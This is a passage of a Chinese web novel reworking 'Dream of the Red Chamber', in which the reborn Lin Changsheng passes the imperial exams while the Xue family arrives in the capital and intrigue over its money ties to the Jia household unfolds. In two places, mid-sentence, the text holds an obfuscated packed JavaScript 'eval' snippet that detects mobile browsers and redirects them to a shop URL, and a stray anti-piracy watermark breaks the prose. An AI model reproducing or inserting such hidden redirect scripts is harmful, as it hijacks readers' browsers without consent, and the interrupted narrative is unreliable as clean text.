他下笔如飞,不过一个时辰,一篇五百余字的八股文章已一挥而就,又作了一首五言八韵试帖诗,题为《春雪》。他想起那夜与姐姐赏雪的情景,颇有触景生情,笔下便有了真情:“皑皑覆庭树,寂寂掩阶苔。非关柳絮舞,疑是玉尘来……” 午时交卷,稍作歇息,便考第二场经文,题目出自《尚书》,长生读经时日尚短,然有严朴悉心教导,对经义理解颇深,文章做得虽不算出彩,却也中规中矩。 第三场律赋,题目是《冰清玉洁赋》,长生想不起这个时代到底有哪些肱骨能臣,他满脑都是皎皎明月的姐姐,顿时文思泉涌,下笔如有神助:“夫冰之清也,凝寒不染尘;玉之洁也,温润自生辉……” 第四场时务策,问的是“漕运利弊”,这正是长生最擅长的。他结合自己前世所知与今生所学,将漕运之弊、改革之策,条分缕析,写得鞭辟入里。 待四场考毕,已是酉时,长生出了考场,但见夕阳西下,余晖染红了半边天。 林安早已在门外等候,见他出来,忙迎上前:“小爷辛苦了。考得如何?” 长生微微摇头:“尚可,回府罢。” 马车驶过街道,正是华灯初上时分,长生靠在车厢壁上,闭目养神。 这一日考试,虽不算艰难,却也颇耗心神,他正养神间,忽听外头传来一阵喧哗声,似是有人在争执。 长生掀开车帘一角望去。 只见前方街口,几辆华美的马车正缓缓驶过,前后皆有仆从簇拥,阵仗颇大。 路人都驻足观望,窃窃私语。 “这是哪家贵人?好生气派!” “似是往荣国府方向去的……” “听说是金陵薛家的大爷和小姐进京了!” 薛家?长生心中一动。是了,算算时日,正是薛宝钗进京的时候。 前世的记忆如潮水般涌来——薛宝钗,薛姨妈之女,薛蟠之妹,品貌端方,举止娴雅,后来入宫待选,再后来成了宝玉的“宝二奶奶”,与姐姐并列为“金玉良缘”,可总感觉哪里奇奇怪怪。 他目光落在中间那辆最精致的马车上,车帘垂着,看不清里头的人。 不知为何长生心中忽地生出一股莫名的不安,这一世,他与姐姐已离了荣国府,与贾府划清界限。可这薛宝钗进京,是否会带来新的变数? 那“金玉良缘”的宿命,是否还会如前世一般,将姐姐卷入其中? 正思忖间,那几辆马车已转过街角,往宁荣街方向去了。喧哗声渐远,街道恢复了平静。 长生放下车帘,靠回车厢。 夕阳的余晖透过车窗,在他脸上投下明明暗暗的光影。原来有些事终究是避不开的。 马车驶回林府时,天已全黑。黛玉早已在门口等候多时,见长生平安归来,忙迎上前:“长生,累了吧?考得如何?” 长生微微一笑:“姐姐放心,一切顺利。” 黛玉这才松了口气,牵着他的手往内院走:“我已命人备好了热水晚膳,你先沐浴更衣,再用膳。” 正说着,香菱也迎了出来,见长生回来,眼中露出欢喜之色,轻声道:“小爷回来了。” 她虽比黛玉年长几岁,却因身世坎坷,性子怯弱,在黛玉面前总是恭敬有加。 黛玉待她宽厚,她心中感激,却从不敢以姐妹相称,只以“姑娘”、“小爷”尊称。 长生见她气色比初来时好了许多,眉眼间那股天生的灵秀也更明显了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16886369|192023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心中也觉宽慰,点头道:“香菱,这几日府中可好?” 香菱垂首道:“一切都好。姑娘这几日,常教奴婢认字读书呢。” 黛玉笑道:“香菱聪慧,学得很快。”说着,已到了内院,黛玉命紫鹃、雪雁伺候长生沐浴,又对香菱道,“你也去帮忙罢。” 香菱应了,自去忙碌。 待长生沐浴更衣,用罢晚膳,已是戌时。 严朴将他唤至书房,询问考试情形,长生将四场考题及自己的作答,一一说了。 严朴听完,沉吟片刻,道:“文章做得中规中矩,诗赋也颇有灵气。时务策尤其见功底。若不出意外,中试应当有望。” 长生心中一松,随即又道:“只是学生年纪太小,恐考官……” 严朴摆手:“顺天府李知县,我曾有过一面之缘,是个明白人。他既准你入场,便不会因年岁而黜落你。况且,” 他含笑又补充一句,“你父亲如今在扬州盐政上颇有建树,朝中清流一脉,多有赞誉,再加上以往有甘罗十二拜相,如今再多个神童也是于朝堂有利。” 长生这才真正放下心来。 此后数日,便是静待放榜,黛玉知弟弟心中牵挂,也不多问,只每日陪他读书下棋,或教香菱习字。 香菱天资聪颖,不过月余,已认得数百字,能读浅近的诗文。她本就性情温顺,又知感恩,对黛玉忠心耿耿,府中上下,皆对她颇有好感。 这日午后,姐弟二人正在书房下棋,忽听外头一阵喧哗。林福急匆匆进来,满脸喜色:“小爷!大喜!县试放榜了!小爷中了!是第三十七名!” 长生手中棋子“啪”地落在棋盘上。 他虽早有准备,但真听到这消息,心中仍是波澜起伏。六年了,前世他三岁夭折,今生他六岁中了童生。这一步,他终于迈出去了。 黛玉喜得眼泪都出来了,握住长生的手,哽咽道:“长生……你中了!你中了!” 香菱也在旁欢喜道:“恭喜小爷!恭喜姑娘!” 长生反握住姐姐的手,微笑道:“姐姐,这只是第一步。” 正欢喜间,忽有门房来报:“小爷,外头有个自称是荣国府来的婆子,说是奉了二太太的命,来给姑娘和小爷送帖子。” 长生与黛玉对视一眼。黛玉拭了拭泪,道:“请她进来罢。” 不多时,一个衣着体面的婆子进了书房,正是王夫人身边的周瑞家的。 她满面堆笑,先给黛玉、长生行了礼,方道:“给林姑娘、林小爷道喜。听说小爷县试高中,太太欢喜得什么似的,命奴婢赶紧来贺喜。” 说着,递上一张泥金帖子,“过两日,府里设宴,为薛家太太、大爷、小姐接风。太太说,请姑娘和小爷务必赏光,过去热闹热闹。薛家小姐品貌端方,最是知书达理,与姑娘年岁相当,定能说到一处去。” 黛玉接过帖子,淡淡道:“多谢二舅母费心。只是我身子还未大好,恐过了病气给贵客,就不去叨扰了。请嬷嬷代我谢过二舅母美意。” 周瑞家的笑容僵了僵,忙道:“姑娘说哪里话。自家亲戚,哪有这些忌讳。薛家太太最是和气,薛小姐也最是宽厚,定不会在意的。” 长生忽开口道:“嬷嬷回去禀告二舅母,就说我与姐姐多谢舅母盛情。只是姐姐病体未愈,实在不宜出门应酬。待姐姐大好了,我们再过去给老太太、舅母们请安。” 他语气温和绵里藏针,周瑞家的知道多说无益,只得应了,又说了几句场面话,方告辞离去。 待她走后,黛玉蹙眉道:“薛家进京,摆宴接风,却特意来请我们,这是何意?” 长生看着那泥金帖子,缓缓道:“姐姐可还记得,母亲生前曾提过,金陵薛家是皇商,与王家是姻亲,同属四大家族?” 正版请认准晋江小说网丞舛,盗文必究。 黛玉点头:“记得,母亲说薛家豪富,只是子嗣不肖,家风有些奢靡。” 林长生觉得好笑又心酸,母亲在时姐姐年幼,这些话又从何说起却记在心上,怕是父亲与母亲之间的贴己话让姐姐听了去,又记住了罢。 “正是。”长生道,“如今薛家进京,恰逢元春娘娘染恙,宫中待选之事暂缓,此时大张旗鼓入贾府,怕不仅是走亲访友这般简单。贾府与薛家,一个是有爵位的勋贵,一个是豪富的皇商,两相交结,利益盘根错节。如今特意来请我们,许是做给外人看,显他贾府不忘亲戚情分,又或许……”声音低了几分,“或许也是想试探我们的态度,看我们与贾府,是否真能彻底割裂。” 黛玉默然,她想起那日宝玉的轻浮和王夫人的冷眼以及贾母那看似慈爱实则偏袒的安抚,如今再加上薛家进京,这潭水,怕是更深了。 “姐姐莫忧。”长生握住她的手,“我们既已离了那府,便不必再理会那些是是非非。他们摆他们的宴,我们过我们的日子。只要我们姐弟同心,谨守本分,任他外头风雨,也侵扰不得我们。” 黛玉看着弟弟稚嫩的脸庞,宛然一笑,是啊,她有弟弟,天资聪颖却足够让人安心的弟弟。 窗外,春雪已融,柳梢初绿。 9. 古有甘罗今有长生 却说那林长生县试得中,取了第三十七名,虽是末榜,然以六岁之龄得中童生,在顺天府已是数十年来头一遭。 放榜那日,报子敲锣打鼓将喜报送至林府,半条街的邻里都出来瞧热闹。 有那等眼热的暗地里嚼舌:“不过是个末名童生也值得这般张狂?” 明眼人都知,这般年纪便能中试,已非神童二字可限,实是异数了。 消息传到周文渊、沈砚耳中,二人皆抚掌而笑。 周文渊对夫人道:“我原以为此子天资虽佳,终究年幼,能中试便是侥幸。不想竟真中了,可见其根基扎实,非侥幸可得。” 沈砚在都察院值房里闻报,只淡淡道了句“尚可”,然眼中那一闪而过的赞许,却被身边老吏瞧了分明。 最欣慰的,自然是严朴。 这日授课毕,他将长生唤至跟前,从书箱中取出一卷泛黄的古籍,郑重递与长生:“此卷《甘罗十二为使臣论》乃前朝大儒所著,论甘罗十二岁拜相之事,你今年六岁已中童生,虽不能与甘罗相比,然志气可嘉。四月府试在即,你需加倍用功,莫要辜负了这般天资。” 长生双手接过,见那书页已脆,墨迹古拙,知是珍本,忙躬身道:“谢先生厚赐。学生不敢自比甘罗,唯愿脚踏实地,一步步来。” 严朴颔首:“不骄不躁,方是求学正道,自明日起我授你课业需再加三成,四书五经需倒背如流,时务策论需每日一篇。你可吃得消?” 长生肃然:“学生吃得消。” 自此,长生课业更重。 每日卯时起身,先诵经一个时辰,辰时至巳时习八股,午后研读史策,晚间则做诗赋策论。 严朴要求极严,文章有一字不妥,便要重做,策论有一处疏漏,便要补全,常常夜深,书房灯火犹明,长生伏案苦读的身影,映在窗纸上,清瘦而坚执。 黛玉心疼弟弟,每天亲自炖了补汤送去。 这日晚间,她又端了冰糖燕窝来,见长生正对着一道策论题凝神苦思,那题目是“论盐漕利弊与革新之策”。黛玉轻声道:“先歇歇,用了汤再写不迟。” 长生抬头,见是姐姐,忙起身接过:“劳姐姐费心。” 黛玉在他身旁坐下,看了眼题目,轻叹道:“这题目,倒是与父亲在扬州所作所为,息息相关。” 长生点头,舀了一勺燕窝,缓缓道:“正是,盐漕之弊,积重难返。父亲在任上,怕是举步维艰。” 他喝了一口,压低声音,“前日父亲家书中提及,今岁盐课已清,账目分明,皇上颇为嘉许,只是贾府那边似有微词。” 黛玉心中一紧:“可是因我们之故?” “或许有关,亦或许无关。” 长生放下汤匙,目光沉静,“父亲信中未明言,但我揣度,贾府在盐务上,怕也牵扯不浅。如今我们与贾府生分,父亲在扬州又整顿盐务,触动了某些人的利益,他们自然不满。” 黛玉默然。 她虽深居内宅,却也知官场险恶,父亲身在要津,如履薄冰,如今又因他们姐弟之故与贾府生隙,只怕处境更难。 “姐姐不必忧心。”长生看出她心思,温声道,“父亲为官清正,行事谨慎,又有周世伯、沈世伯在朝中照应,必能化险为夷,我们如今要做的是各自安好,莫要成为父亲的拖累。” 黛玉重重点头,眼中泛起泪光:“你说得是。只是你也要顾惜身子,莫要太过劳累。” “姐姐放心,我有分寸。” 正说着,外头传来细碎脚步声,香菱端着一碟新蒸的桂花糕进来,轻声道:“姑娘,小爷,厨下新做的糕点,还热着。” 黛玉见她今日穿了身藕荷色新袄,头发梳得整齐,虽仍是怯生生的模样,但气色已好了许多,心中欣慰,笑道:“难为你想着,快来坐。” 香菱摇头,只垂手站在一旁:“奴婢不坐,姑娘和小爷说话,奴婢在外头候着便是。” 黛玉知她性子如此,也不强求,只道:“那你去歇着罢,这里不需伺候了。” 香菱下去后,紫鹃赶巧从外头回来。 紫鹃犹豫片刻,低声道:“姑娘,方才奴婢去前院取东西,听门房老赵说,外头都在传,说金陵薛家的大爷前几日……打死了人。” 长生手中汤匙一顿。 黛玉蹙眉:“打死人?怎么回事?” 紫鹃声音更低了:“说是薛大爷进京前看不惯一个姓冯的公子,冯公子见薛大爷也不顺眼,两人就这般莫名争执起来,然后薛家大爷手下的人失手将那冯公子打死了。” “啊!”黛玉掩口惊呼,“光天化日,竟有这等事?那薛家大爷……” “听说已被顺天府拿了,”香菱道,“可今儿又放了,说是薛家使了银子,那冯家又无人出头,就这么不了了之了。” 黛玉气得脸色发白:“岂有此理!人命关天,怎能如此草率!” 长生静静听着,心中却是明镜一般。 果然,该来的还是来了,薛蟠打死冯渊,说为了强抢香菱,而如今香菱已在他府中,这呆霸王犯的人命案是非犯不可吗? 他忽想起那夜在巷中,听拐子提及“冯家大爷”,原本以为香菱被自己所救后冯渊与薛蟠就此错开,却不料命运之线,竟如此诡谲。 “姐姐莫气。”长生放下汤碗,声音平静,“这等豪强欺人之事,古来有之,我们纵是愤慨,也无力改变。只求自己行得正,坐得直,无愧于心便是。” 黛玉长叹一声:“我只是为那冯公子不平,好好的一个人,就这么枉死了……” 长生看着她的背影,目光深邃。 香菱与冯渊,这对本该有缘却无分的苦命人,这一世,因他的介入彻底错开,却没想到冯渊到底还是难逃一死,那薛蟠跋扈如故。 “姐姐,”他转回话题,“这些事与我们无关,倒是那薛家小姐既已入京,又住在荣国府,往后只怕少不得要与贾府往来,我们既已回绝了宴请,便需有始有终,莫要再与他们牵扯。” 黛玉点头:“我明白。” 此后数日,长生愈发埋头苦读。 周文渊、沈砚也常遣人送来新出的时文集、策论选,供他参考,周文渊更亲自来过两回,为他讲解经义,批改文章。 沈砚虽未亲至,却让府中师爷送来一套《历代名臣奏议》,并在扉页题了四字:“厚积薄发”。 严朴见两位朝中重臣如此看重长生,心中亦喜,授业更勤,这日讲《史记·货殖列传》,忽道:“长生,你可知何为势?” 长生沉吟道:“势者,力之所聚,时之所趋,顺势者昌,逆势者亡。” “说得好,”严朴捻须,“然势有大小,有明暗,明势易见,暗势难察。如今朝中,看似风平浪静,实则暗流汹涌。盐漕改制触及多少利益?勋贵世家,盘根错节,你父亲在扬州,你姐弟在京城皆在势中。需得明势、借势、造势,方能立于不败之地。” 长生肃然:“请先生指点。” 严朴缓缓道:“你如今童生已中,便是有了功名之势,四月府试,若再能中便是秀才,有了进学之资,这是你安身立命之本,亦是护你姐弟周全之盾。” “周、沈二位大人青眼有加,这是人势,清流一脉在朝中虽不掌实权,却掌清议,有风骨。得他们扶持,纵是勋贵,也要忌惮三分。” “再者,”他顿了顿,“你姐弟与贾府决裂,看似失亲势,实则得清名,贾府如今外强中干,元春病重,圣眷已衰。与其牵扯过深反受其累,倒不如远离是非,独善其身,方是明智之举。” 这句话简直就是说到长生心坎上了! 长生深深一揖:“学生受教。” 严朴点头,又道:“还有一事,我听闻薛家那命案,顺天府已结案,以误伤论,赔银了事薛蟠前日已放出,如今正大摇大摆在荣国府住着。这般跋扈,早晚必有大祸。你莫要与薛家任何人有所牵扯,免得殃及池鱼。” “学生谨记。” 与此同时,荣国府梨香院内,却是另一番光景。 这梨香院乃当日荣公暮年静养之所,小小巧巧,约有十余间房屋,前厅后舍俱全,另有一门通街。 薛蟠母子并宝钗进来后,便住在此处,这薛蟠虽经了一场官司,却毫发无伤,反觉自己威风,在贾府中更加放纵,今日会酒,明日观花,聚赌□□,无所不至。 贾政虽训诫了几回,无奈薛蟠骄纵成性,不痛不痒,只得由他。 这日,薛宝钗正在房中与母亲薛姨妈说话。 她穿着一件蜜合色棉袄,玫瑰紫二色金银线的坎肩儿,葱黄绫子棉裙,一色儿半新不旧,看去不觉奢华,唯觉淡雅,头上只绾着漆黑油光的纂儿,蜜合色的棉袄外罩着玫瑰紫的坎肩,越显得面如银盆,眼同水杏,唇不点而含丹,眉不画而横翠,端庄娴雅,自有一股大家风范。 薛姨妈叹道:“你哥哥这般胡闹,终究不是长久之计,如今我们既在京城,总要为他谋个前程才是。” 宝钗柔声道:“母亲不必过于忧心,哥哥年纪尚小,玩心重些也是有的。待过些时日,请姨父为他谋个差事,有了正经营生,自然就收心了。” 薛姨妈摇头:“你姨父倒是提过,可你哥哥那性子…唉。倒是你,” 她看着女儿,眼中满是怜爱,“原说要送你去宫中待选,偏巧元春娘娘病了,这事便耽搁下来,如今住在贾府,虽说是亲戚,终究是寄人篱下,我瞧那宝玉倒是个好的,老太太又疼他……” “母亲。”宝钗轻声打断,神色平静,“这些事,且不急。我们初来乍到,还是安心住下,从长计议为好。” 正说着,外头丫鬟莺儿进来回道:“太太,姑娘,宝二爷来了。” 话音未落,贾宝玉已笑着进来。 他今日穿了件大红金蟒狐腋箭袖,外罩石青貂裘排穗褂,头戴束发嵌宝紫金冠,越发显得面如傅粉,唇若施脂,转盼多情,语言若笑,一进来便道:“姨妈和宝姐姐可好?我特来请安。” 薛姨妈忙让坐,又命倒茶。 宝钗起身见了礼,方重新坐下。 宝玉一双眼睛只管看着宝钗,笑问道:“宝姐姐在京中可还习惯?若缺什么少什么,只管告诉我,我去回了老太太,定给姐姐置办齐全。” 宝钗微笑道:“多谢宝兄弟费心,这里一应俱全,并不缺什么。” 薛姨妈笑道:“你宝姐姐是个省事的,从不挑剔。倒是你,常来坐坐,陪她说说话,免得她闷着。” 宝玉连连点头:“这是自然,我日后定常来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16886370|192023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 又说了一阵闲话,宝玉忽道:“对了,昨儿我听凤姐姐说,林妹妹和她弟弟如今不住在府里,自己在外头立了门户。可是真的?” 薛姨妈点头:“听说是如此,你林妹妹身子弱,她弟弟又年幼,倒难为他们了。” 宝玉神色顿时黯淡下来,低声道:“林妹妹定是生我的气了,那日我不该摔玉,不该惹她伤心……”说着,眼圈竟红了。 宝钗在旁静静听着,手中茶盏微微一顿。 她进府这几日,已隐约听说林家姐弟之事,只知是姑妈贾敏的女儿、儿子,因与宝玉不睦,离府另居,如今见宝玉这般情状,心中已明白了七八分。 她柔声劝道:“宝兄弟莫要伤心。亲戚间偶有口角,也是常事。待过些时日,林妹妹气消了,自然就好了。” 宝玉摇头,哽咽道:“林妹妹不会原谅我了,她那日看我的眼神,冷得像冰一样,还有长生表弟,他恨我,我知道他恨我……” 薛姨妈忙道:“快别说这些了,你林妹妹性子是清高些,但最是重情。你是她表哥,她怎会真恼你?待过些时日,我让你姨母去说说,接他们回来便是。” 宝玉这才稍缓,又说了会子话,方告辞去了。 待他走后,薛姨妈叹道:“这宝玉,倒是个实心肠的孩子,只是太过痴情,恐非福分。” 宝钗垂眸,轻轻拨弄着腕上的红麝串,半晌方道:“各人有各人的缘法,林姑娘既已离府,自有她的道理。我们局外人,还是莫要多言的好。” 薛姨妈看着她平静的侧脸,欲言又止,终是叹了口气,不再多言。 又过了几日,便是花朝。 荣国府中摆了小宴,请薛姨妈、宝钗并府中女眷赏花。那日天气晴好,园中杏花、梨花、海棠,开得正好。贾母携了宝钗的手,在园中漫步,王夫人、王熙凤、李纨并三春姊妹跟随在后。 行至沁芳亭,贾母忽道:“这亭子还是敏儿在时最爱来的,她常说,坐在这里,看一池春水,几树桃花,最是惬意。”说着,眼中泛起泪光。 王夫人忙劝道:“老太太快别伤心了。敏妹妹在天有灵,见老太太这般记挂她,心中必是感念的。” 贾母拭泪道:“我是想起她那一双儿女。如今黛玉身子不好,长生又小,独自在外,叫我如何放心?” 王熙凤笑道:“老太太既惦记,不如我明日再去请一趟。如今薛妹妹也来了,姊妹们一处说话解闷,岂不好?” 宝钗在旁轻声道:“若能请来,自是好事,我常听母亲说起姑妈,心中敬仰,若能见见林妹妹,也是缘分。” 贾母点头:“凤丫头,你明日便去,就说我老了,想外孙女儿,让她务必来一趟。” 王熙凤应了。 次日,王熙凤果然又备了礼,往林府去。 这回她学乖了,不从前门叩,径直绕到后角门,让周瑞家的上前叫门。 开门的仍是那个青衣小厮。 周瑞家的堆笑道:“烦请通报林姑娘,就说荣国府琏二奶奶奉老太太之命,特来请姑娘过府一叙,薛家姑娘也在,说想见见林妹妹呢。” 小厮故作为难道:“嬷嬷见谅,我们姑娘近日染了风寒,实在不便见客,老太太美意,姑娘心领了,待身子大好了,再过去请安。” 周瑞家的还要再说,王熙凤在车中已听得真切,心中恼极,却不好发作,只得扬声道:“既如此,便让林妹妹好生养着,这些补品,是我一点心意,请她务必收下。” 让小厮接了礼,悻悻而去。 回府禀了贾母。 贾母沉默良久,叹道:“罢了,既她不愿来便由她罢,只是你日常多看顾些,莫叫人欺了他们姐弟去。” 到底还是自己独女的两个孩子,气是气,恼也恼了,自己这般岁数再和小辈恼脾气也是不光彩。 王熙凤应了,心中却另有一番计较。 消息传到林府,黛玉正与香菱在窗下绣花。 听闻王熙凤又来,她只淡淡道:“知道了。”手中针线不停,一朵玉兰花已绣得栩栩如生。 香菱轻声道:“姑娘,那薛家姑娘……既想见姑娘,姑娘为何不见?多一个姊妹说话,也是好的。” 黛玉手中针微微一顿,抬眼看她:“香菱,你可知这世上有种人,面上看着和气,心里却藏着千百个心眼,我身子未愈是实,不愿见人也是实。至于那薛家姑娘……” 她轻轻摇了摇头,声音低了下去,“她既与宝玉是表亲,又住在荣国府,我何必去凑那个热闹?” 香菱似懂非懂,只觉姑娘语气中有淡淡的哀凉,便不再多言,低头继续理线,心里寻思惹林姑娘这番气恼的人怕是不好相处的罢,自己还是少说几句。 窗外,春光正好,一架紫藤花开得正盛,累累垂垂,如紫云笼罩,微风过处,落英缤纷。 而林府书房的窗内,长生正对着一篇新作的时务策,凝神推敲,那题目是“论勋贵奢靡与国用空虚之关联”。 他提笔蘸墨,在稿纸上落下端正的小楷: “臣闻,国之大患,不在外侮,而在内蠹。今观勋贵之家,一宴之费,可抵中人之产;一衣之奢,可济贫户之生。朱门酒肉臭,路有冻死骨,此非盛世之象,实乃危亡之征……” 10. 芹圃夜话 过了谷雨,京城的寒气一日日消减。 林宅院子里的两株老梅谢了残红,枝头倒冒出些毛茸茸的嫩芽儿,黛玉畏寒,屋里地龙还烧着,长生下学回来,总要在外间褪了夹袄,方敢进里屋。 这日严朴下学早,让长生自去书房温书。 他才翻开《孟子》,便见林忠领着个青衣小厮进来,手里捧着大红全帖。 “顺天府送来的,少爷中了!”林忠声音兴奋发颤,“第十九名!报子在外头候赏呢!” 长生搁下书,脸上淡淡的,只道:“取二两银子封了,好生送出去。” 又转向小厮,“去告诉姐姐一声,莫要声张。” 可哪里瞒得住? 不过半个时辰,整条宁荣后街都传遍了:林家那位六岁小公子,竟真中了秀才!这顺天府开国以来,还未出过这般年幼的秀才公。 黛玉亲自来了书房,手里捧着个锦匣。 她今日穿着藕荷色绣折枝梅的夹袄,面色比前些日子红润些,想是严大夫新开的方子见效了。 “这是父亲着人加急送来的。”黛玉打开锦匣,里头是块上好的端砚,并一封家书。 长生先看信。 林如海笔力遒劲,字里行间却透着欣慰:“吾儿年幼得志,当思戒骄戒躁,功名者,身外物也;立身者,根本也。汝姊体弱,京中人事繁杂,凡事当以周全为上……” 末了提了句,扬州盐务正值多事之秋,让姐弟二人在京中谨言慎行,少与贾府往来,多结交益友。 “父亲这是……”长生抬眼。 “父亲心里明镜似的。” 黛玉接过信,在烛上烧了,看灰烬飘飘落下,“前日琏二嫂子又来,说是外祖母想念得紧,让我过去住几日。我推说身子不适,她脸色便不大好看。” 长生冷笑:“她们是打量着我们年幼,又好拿捏。殊不知……” 他忽地顿住,看见黛玉眼里有淡淡的水光。 “长生。”黛玉忽然唤他小名,声音轻轻的,“那日你说,母亲临终前让你护着我,是也不是?” 长生心头一紧,便点头。 “我虽不记得母亲说过这话,但你这般早慧,这般拼命……”黛玉抬手,轻轻抚过他头顶,“姐姐心里都明白,咱们姐弟是一体的,你若累垮了,我在这世上便真没个倚靠了。” 这话说得平静,长生却觉眼眶发热。 他低头掩饰,闷声道:“我省得。” 姐弟二人对坐着说了会子话,外头忽又传报,说周文渊、沈砚二位大人到了。 周文渊是来送荐书的。 国子监下月开课,长生既中了秀才,便可正式附读,沈砚却面色凝重,从袖中取出个小小封套。 “你父亲托我转交的。” 沈砚示意长生屏退左右,方低声道,“扬州那边,近来不太平。” 封套里是几张银票的票根,面额都不小,票号却是金陵薛家的“恒舒典”。 票根背面用蝇头小楷记着几笔账目: 某年某月某日,贾府王夫人名下,入干股银五千两 某年某月,贾政名下,入干股银八千两…… “这是……”长生抬头。 “你父亲在清查盐商账目时,从一个姓王的盐商家中抄出的。”沈砚道,“这王姓盐商,是薛家二房太太的娘家兄弟。他供出,薛家在金陵的生意,十之三四都有贾、王两家的干股,其中最大的一笔是薛蟠打死冯渊那年,为平事打点,从薛家公账上支了五万两,其中三万两,送到了京中荣国府。” 长生捏着票根的手微微发颤。 前世他只知道薛家豪富,与贾府是姻亲,却不曾想内里牵扯这般深。 “更奇的是,”沈砚继续道,“你父亲顺着这条线往下查,发现这几年来有几笔从金陵汇入京城的银子,最终都流入几家不显山不露水的铺子,有当铺,有钱庄,有绸缎庄。这些铺子的东家,表面上都是不相干的商人,可背后……” “背后如何?” 沈砚与周文渊对视一眼,周文渊接过话头,声音更沉:“背后隐约有宫里人的影子,不是明面上的主子,是那些在宫里有些体面的大太监,或是某些娘娘、太妃娘家的远亲。” 长生心中恍然,这原是贾府惯用的手段,借着宫里元妃的势,在外头经营些产业,既体面,又实惠。可如今元春在宫中地位未稳,这些人便成了双刃剑。 “先生的意思是,这些生意,实则是借着宫里的名头,行敛财之事?” “正是。”沈砚点头,“你父亲查出,其中一家当铺,去年收过一批宫中之物,是些过了时的首饰、摆件,本不该流出宫外的。可当票上写的,却是某位王爷府上管事的名字。” “哪位王爷?” “这便查不下去了,”周文渊叹道,“那管事去年暴病身亡,线索便断了,可你父亲疑心,此事非同小可。贾府、薛家,还有那些宫里人,怕是勾结。如今盐务上出事,这几家首当其冲。” 窗外暮色四合,书房里渐渐暗下来。 长生点燃蜡烛,火光跳动着,将三个人的影子投在墙上,摇曳如鬼魅。 “那元妃娘娘……”长生忽道。 周文渊道:“元妃是贾府最大的倚仗,若是这张网破了,元妃在宫中,怕是也要受牵连,这便是为何贾府急着要与薛家结亲,薛家的银子能填补许多窟窿。而薛家,也需要贾府在宫中的关系,为宝钗的待选铺路。” 长生全明白了。 前世他只看到“金玉良缘”,却不曾想背后还有这许多利益纠葛。 薛家的银子,贾府的势,元春在宫中的地位,宝钗待选的前程,这些都像密不透风的大网,早已蓄势。 “今日朝会上,有人参了王子腾一本,说他纵容家人在金陵强占民田,”周文渊道,“折子被圣上留中不发,可风声已经传出来了,王家怕是要有场风波。” 正说着,外头忽然传来一阵喧哗。 林忠匆匆进来,:“少爷,街口来了几辆马车,像是荣国府的,琏二奶奶又来了,说是给少爷道喜!” 黛玉在里间听见,脸色一白。 长生轻轻按住她的手,转向沈砚、周文渊:“二位先生……” “我们从后门走,”沈砚起身,深深看了长生一眼,“你如今考取秀才,他们不敢明着如何,可暗地里的手段不得不防。” 送走二人,长生整了整衣袍,对黛玉道:“姐姐在屋里歇着,我去前厅应付。” “我同你去。”黛玉站起身,“她们是冲着我来的,我不能总躲在你身后。” 前厅里,王熙凤果然到了。 她今日打扮得格外艳丽,穿着缕金百蝶穿花大红缎袄,外罩五彩刻丝石青银鼠褂,头上金钗步摇,映着烛光,明晃晃的刺眼。 见长生姐弟进来,王熙凤未语先笑,上前携了黛玉的手:“好妹妹,可把老祖宗想坏了!听说长生哥儿高中,她老人家欢喜得什么似的,立时让我备了礼来道贺。” 说着,让平儿捧上礼单。 长生接过,略扫一眼,见上头列着:文房四宝一套、古墨两匣、湖笔十管、宫缎四匹,另有金锞子、银锞子各一盘。 “外祖母太客气了。”长生将礼单搁在几上,“长生年幼,不过侥幸得中,怎当得起这般厚礼。” “当得起!如何当不起?”王熙凤笑得眼睛弯弯,“六岁的秀才公,满京城也找不出第二个!老祖宗说了,过两日在府里设宴,专为你庆贺,府里的爷都想见见你这神童呢!” 黛玉垂眸喝茶,并不接话。 长生微微一笑:“琏二嫂子代我谢过外祖母美意。只是严先生说了,我年纪小,根基不稳,需静心读书,不好张扬,再者,阿姐这几日犯了咳疾,也怕过了病气给府里长辈。” 这话说得滴水不漏,甚至理由还是老样式,王熙凤脸上的笑便有些僵。 她转而看向黛玉,语气软了几分:“妹妹身子还不爽利?我前儿得了几两上好的血燕,最是滋阴润肺的,明日就让人送来。” “劳二嫂子费心。”黛玉抬眼,“只是我这病是老毛病了,吃什么都一样。倒是二嫂子终日操劳,该好生保养才是,我听说,前日姨妈屋里丢了什么东西?” 王熙凤神色一变。 黛玉说的,是前日一桩事。 王夫人屋里丢了对赤金点翠簪子,本是小事,可偏偏那簪子内壁刻着薛家银楼的标记,王夫人原说是元妃赏的宫中之物,这一来便露了馅,虽后来找了个由头圆过去,可底下人难免议论。 “妹妹从哪里听来的闲话?”王熙凤强笑,“不过是小丫头们毛手毛脚,放错了地方,早寻着了。” “寻着了便好。”黛玉轻轻放下茶盏,瓷盏与托碟相碰,发出清脆一响,“我年纪小,不懂事,只是想着,姨妈素来吃斋念佛,最是慈善不过的,若真丢了东西,定是下人们不谨慎,该好生管教才是。” 这话绵里藏针,王熙凤听得心里发堵,面上却只能赔笑,又说了几句闲话,见长生姐弟始终淡淡的,只得起身告辞。 送走王熙凤,黛玉回到房里,坐在窗下发怔。 香菱轻轻走进来,手里捧着碗刚煎好的药。 “姑娘,该用药了。” 黛玉接过药碗,看着里头黑沉沉的药汁,忽然道:“香菱,你说人活一世,为什么总要算计来算计去?” 香菱愣了愣,怯怯道:“姑娘说什么,我不懂。” “不懂才好。”黛玉将药一饮而尽,苦得蹙了眉,“懂了,便累了。” 